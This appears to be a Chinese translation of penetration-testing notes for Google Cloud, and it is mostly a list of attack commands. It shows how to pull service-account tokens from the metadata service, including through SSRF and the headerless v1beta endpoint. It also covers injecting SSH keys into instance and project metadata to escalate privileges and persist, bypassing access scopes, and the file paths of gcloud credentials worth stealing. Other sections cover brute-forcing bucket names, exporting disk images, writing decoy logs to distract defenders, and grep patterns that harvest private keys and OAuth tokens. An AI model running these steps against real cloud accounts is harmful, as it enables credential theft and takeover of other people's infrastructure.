GCP 基础知识
gcloud
可以通过附加--log-http
到命令找到给定命令的原始 HTTP API 调用
递归枚举实例的元数据:
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
服务帐户
默认服务帐户如下所示:
PROJECT_NUMBER-compute@developer.gserviceaccount.com
PROJECT_ID@appspot.gserviceaccount.com
自定义服务帐户如下所示:
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
访问范围
- 可以通过查询
169.254.169.254
IP 查看服务帐户的访问范围,如下例所示:
$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \
-H 'Metadata-Flavor:Google'
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
devstorage.read_only
默认范围允许对指定项目中的所有存储桶进行读取访问
不应将访问范围作为服务帐户权限的边界
当cloud-platform为实例指定时,服务帐户可以尝试对所有 API 端点进行身份验证
即使服务帐户可能有权访问某个 API 端点,如果访问范围不允许该端点,则无法成功进行身份验证
IAM
原始角色
预定义角色
- 由 Google 管理的角色(例如
compute.instanceAdmin
)
自定义角色
要查看分配给项目每个成员的角色:
gcloud projects get-iam-policy <PROJECT_ID>
枚举
| 命令 | 描述 |
| :-----------------------------------: | :------------------: |
| gcloud organizations list
| 获取组织 ID |
| gcloud organizations get-iam-policy
| 查看组织内的用户权限 |
- 请注意,组织内的权限适用于组织内的所有项目,因此适用于该项目内的所有资源,等等。
应用程序默认凭据
服务帐户令牌
可以从元数据服务中检索令牌:
请求
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
响应
{
"access_token":"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA",
"expires_in":3599,
"token_type":"Bearer"
}
应用程序默认凭据
- 从元数据服务中提取令牌的替代方法
- 在实现 Google 的官方 GCP 客户端库之一时使用此方法
以下是使用 GCP 客户端库时搜索凭据所采取的步骤:
代码将检查源代码
a. 检查服务帐户密钥文件
检查 GOOGLE_APPLICATION_CREDENTIALS环境变量
a. 此环境变量可以设置为服务帐户密钥文件的位置
使用元数据服务中的默认令牌。
仅当未找到 1 或 2 时才使用元数据服务中的默认令牌,因为元数据服务令牌被限制在访问范围内并且是临时的
权限提升
⭐ 始终确保检查是否在整个环境中应用了最小权限原则
SSRF
下面描述的 privesc 技术是从内部访问受感染实例的角度编写的。但是,如果您在某些情况下发现 SSRF,也可以执行它们。
不安全的元数据端点
如果客户端已/v1beta
启用,您可以获得没有特殊标头的访问令牌:
curl http://metadata.google.internal/computeMetadata/v1beta/instance/service-accounts/default/token
否则,您必须http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
使用自定义标头集进行查询
计算实例
一般情况
- 仅仅因为访问范围阻止了某个命令,并不意味着该命令的任何变体都不能运行
- 例如,如果
gsutil ls
没有返回存储桶,您仍然可以通过指定存储桶的名称来查询存储桶gsutil ls gs://storage_bucket_example-1234567
枚举以下区域中的脚本:
1.实例元数据
2.本地文件系统
3.服务单位档案
4.等等
修改实例元数据
默认服务帐户
为默认服务帐户提供以下访问范围:
允许默认访问(默认)
允许完全访问所有 Cloud API
为每个 API 设置访问权限
如果启用了 3(具有计算 API 访问权限)或 2,则可能有 privesc
客户服务帐户
privesc 所需的以下权限之一:
compute.instances.setMetadata
compute.projects.setCommonInstanceMetadata
必须能够验证https://www.googleapis.com/auth/compute
或https://www.googleapis.com/auth/cloud-platform
将 SSH 密钥添加到元数据
- Linux GCP 系统通常在 Compute Engine 脚本中运行 Python Linux Guest Environment
- 帐户守护进程查询元数据以更改授权的 SSH 密钥,并将新密钥添加到现有用户或具有
sudo
权限的用户
- 如果可以修改自定义项目元数据,则在 GCP 项目内运行
Block project-wide SSH keys
启用帐户守护程序选项的所有系统上建立持久性
将 SSH 密钥添加到现有权限用户
gcluod compute instance describe <INSTANCE> --zone <ZONE>
这将返回如下内容:
[...]
- key: ssh-keys
value: |-
high-priv-user:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ high-priv-user
low-priv-user:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbk[...]
创建密钥
high-priv-user
a. ssh-keygen -t rsa -C "high-priv-user" -f ./key -P ""
2.编辑公钥,使其与high-priv-user
公钥文件的格式相匹配
3.将新密钥添加到实例元数据
a.gcloud compute instances add-metadata <INSTANCE> --metadata-from-file ssh-keys=ssh_public_file.txt
使用 SSH 密钥创建新用户
Sudo 到现有会话
使用以下命令生成新的 SSH 密钥,将您当前的用户名添加到google-sudoers
组中,并启动 SSH 会话:
gcloud compute ssh <INSTANCE_NAME>
OS登录
将 Google 用户或服务帐户链接到 Linux 身份
IAM 权限指示此请求的授权
使用元数据密钥在项目或实例级别启用enable-oslogin = TRUE
启用 2FA 操作系统登录enable-oslogin-2fa = TRUE
``` roles/compute.osLogin 和 roles/compute.osAdminLogin ```
控制对启用操作系统登录的实例的 SSH 访问
通过将一个人的 SSH 密钥添加到项目元数据中,只要实例没有
Block pojrect-wide SSH keys 启用该选项,就可以访问所有实例:
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=my_public_ssh-key.txt
绕过访问范围
访问范围不是安全机制(谷歌自己声明)
查找令牌访问范围
TOKEN='gcloud auth print-access-token'
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN
使用导出的密钥文件检查服务帐户
for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
echo Looking for keys for $i:
gcloud iam service-accounts keys list --iam-account $i
done
服务帐户密钥文件的默认名称是<PROJECT_ID>-<PORTION_OF_KEY_ID>.json
如果访问范围过于严格,请检查是否有另一个更宽松的实例
gcloud compute instances list --quiet
检查实例是否具有默认服务帐户 ( PROJECT_NUMBER-compute@developer.gserviceaccount.com
)
窃取 GCloud 授权
~/.config/gcloud/credentials.db
~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json
~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto
~/.credentials.json
服务帐户模拟
模拟服务帐户的三种方法:
使用 RSA 私钥进行身份验证
使用 Cloud IAM 政策进行授权
在 GCP 服务上部署作业
访问数据库
跨项目查找数据库
Cloud SQL
=============
gcloud sql instances list
gcloud sql databases list --instance [INSTANCE]
Cloud Spanner
==============
gcloud spanner instances list
gcloud spanner databases list --instance [INSTANCE]
Cloud Bigtable
==============
gcloud bigtable instances list
存储桶
用于暴力破解桶名称的 Bash Oneliner
for i in $(cat wordlist.txt); do gsutil ls -r gs://"$i"; done
解密密钥
枚举
- 如果没有 GCloud 枚举权限,请尝试在文档、脚本和 bash 历史记录中搜索密钥
| 命令 | 描述 |
| ------------------------------------------------------------ | -------------------- |
| gcloud kms keyrings list --location global
| 列出可用的全局密钥环 |
| gcloud kms keys list --keyring <KEYRING_NAME> --location global
| 列出密钥环内的密钥 |
| gcloud kms decrypt --ciphertext-file=<INFILE> --plaintext-file=<OUTFILE> --key <KEY> --keyring <KEYRING> --location global
| 使用密钥解密文件 |
串行控制台日志
- 从操作系统和 BIOS 写入串行端口的计算实例的输出
从串口查看日志文件的两种方式:
通过计算 API
Compute: Read Only
即使有访问范围限制也可以执行
gcloud compute instances get-serial-port-output <INSTANCE_NAME> --port <PORT> --start start --zone <ZONE>
通过云日志
自定义图像
- 一些图像可能包含敏感信息,您可以泄露这些信息并将其用于新的 VM
查找自定义图像列表
gcloud compute images list --no-standard-images
导出图像
gcloud compute images export --image <IMAGE_NAME> --export-format qcow2 --destination-uri <BUCKET>
自定义模板
- 实例模板允许部署具有特定配置的虚拟机
- 这些配置可以告诉 VM 使用哪个映像、启动脚本、标签等。
| 命令 | 描述 |
| :----------------------------------------------------------: | :--------------------: |
| gcloud compute instance-templates list
| 列出可用模板 |
| gcloud compute instance-templates describe <TEMPLATE_NAME>
| 获取特定模板的详细信息 |
StackDriver 日志记录
| 命令 | 描述 |
| :-------------------------------------------: | :--------------------------------------------------: |
| gcloud logging logs list
| 列出当前项目中的日志文件夹 |
| gcloud logging read <LOG_FOLDER>
| 读取特定日志文件夹的内容 |
| gcloud logging write <LOG_FOLDER> <MESSAGE>
| 将任意数据写入特定的日志文件夹。可以用来分散注意力。 |
Serverless Services
Cloud Function
相当于 AWS Lambda
环境变量可以包含密钥,就像在 AWS 中一样
| 命令 | 描述 |
| :------------------------------------------: | :--------------------------: |
| gcloud functions list
| 列出可用的云功能 |
| gcloud functions describe <FUNCTION_NAME>
| 显示功能配置和定义的环境变量 |
| gcloud functions logs read <FUNCTION_NAME>
| 获取函数执行的日志 |
APP Engine
Google App Engine 是一个专注于可扩展性的无服务器云计算平台
密钥可以存储在环境变量中
| 命令 | 描述 |
| ---------------------------- | ------------------------------------------ |
| gcloud app versions list
| 列出 App Engine 服务器中所有服务的现有版本 |
| gcloud app describe <APP>
| 显示有关特定应用程序的信息 |
Cloud Run
| 命令 | 描述 |
| :----------------------------------------------------------: | :----------------------------------------------------------: |
| gcloud run services list --platform=managed --format=json
gcloud run services list --platform=gke --format=json
| 列出可用平台上的服务 |
| 1. curl <URL>
2.curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" <URL>
| 1. 尝试以未经身份验证的用户身份触发作业 2. 以经过身份验证的用户身份触发作业 |
AI Platform
| 命令 | 描述 |
| :---------------------------------------------: | :-------: |
| gcloud ai-platforms models list --format=json
| 列出model |
| gcloud ai-platform jobs list --format=json
| 列出job |
Cloud Pub/Sub
Pub/Sub 由以下部分组成:
主题 - 消息的逻辑组
订阅 - 允许应用程序接收与主题相关的消息流,可以通过推送通知(对于某些 Google 服务)或拉取请求(对于自定义服务)启用
消息 - 数据(也可以选择元数据)
| 命令 | 描述 |
| ------------------------------------------------------ | -------------------------- |
| gcloud pubsub topics list
| 列出项目中的主题 |
| gcloud pubsub subscrpitions list --format=json
| 列出所有主题的订阅 |
| gcloud pubsub subscriptions pull <SUBSCRIPTION_NAME>
| 从订阅中提取一条或多条消息 |
Cloud Source Repos
| 命令 | 描述 |
| :-------------------------------------: | :----------: |
| gcloud source repos list
| 枚举可用的库 |
| gcloud source repos clone <REPO_NAME>
| 克隆一个回购 |
Cloud Filestore
专为存储小文档而设计的数据库
像 AWS DynamoDB
可以挂载文件存储
列出文件存储实例
gcloud filestore instances list --format=json
Kubernetes
| 命令 | 描述 |
| :----------------------------------------------------------: | :----------------------------------------------------------: |
| gcloud container clusters list
| 列出当前项目中的容器集群 |
| gcloud container clusters get-credentials <CLUSTER_NAME> --region <REGION>
| 验证您的~/..kube/config
文件以包含集群,以便您可以使用kubectl
. |
| kubectl cluster-info
| 获取有关集群的信息。 |
Kubectl 备忘单:https ://kubernetes.io/docs/reference/kubectl/cheatsheet/
密钥管理
| 命令 | 描述 |
| :---------------------------------: | :----------: |
| gcloud secrets list
| 列出密钥 |
| gcloud secrets describe <SECRET>
| 获取密钥内容 |
本地系统密钥
- 通过内部访问系统搜索临时目录、历史文件、环境变量、脚本等。
TARGET_DIR="/path/to/whatever"
# Service account keys
grep -Pzr "(?s){[^{}]*?service_account[^{}]*?private_key.*?}" \
"$TARGET_DIR"
# Legacy GCP creds
grep -Pzr "(?s){[^{}]*?client_id[^{}]*?client_secret.*?}" \
"$TARGET_DIR"
# Google API keys
grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \
"$TARGET_DIR"
# Google OAuth tokens
grep -Pr "ya29\.[a-zA-Z0-9_-]{100,200}" \
"$TARGET_DIR"
# Generic SSH keys
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----" \
"$TARGET_DIR"
# Signed storage URLs
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
"$TARGET_DIR"
# Signed policy documents in HTML
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
"$TARGET_DIR"
网络
防火墙
- 每个项目都有一个默认 VPC,其中包含适用于所有实例的以下规则:
default-allow-internal
- 允许来自同一网络上其他实例的所有流量
default-allow-ssh
- 允许来自任何地方的端口 22 流量
default-allow-rdp
- 允许来自任何地方的端口 3389 流量
default-allow-icmp
- 允许从任何地方 ping
枚举
查看当前项目中的所有子网:
gcloud compute networks subnets list
查看项目中所有内/外IP地址:
gcloud compute instances list
查看所有实例开放的端口
G Suite
向 G Suite 进行身份验证
工具
gcp_firewall_enum
gcp_enum
gcp_misc
原文链接:https://0xd4y.com/2022/10/01/GCP-Penetration-Testing-Notes/#dfd7ccbc-957f-400d-97ae-9a8fce7b3b0b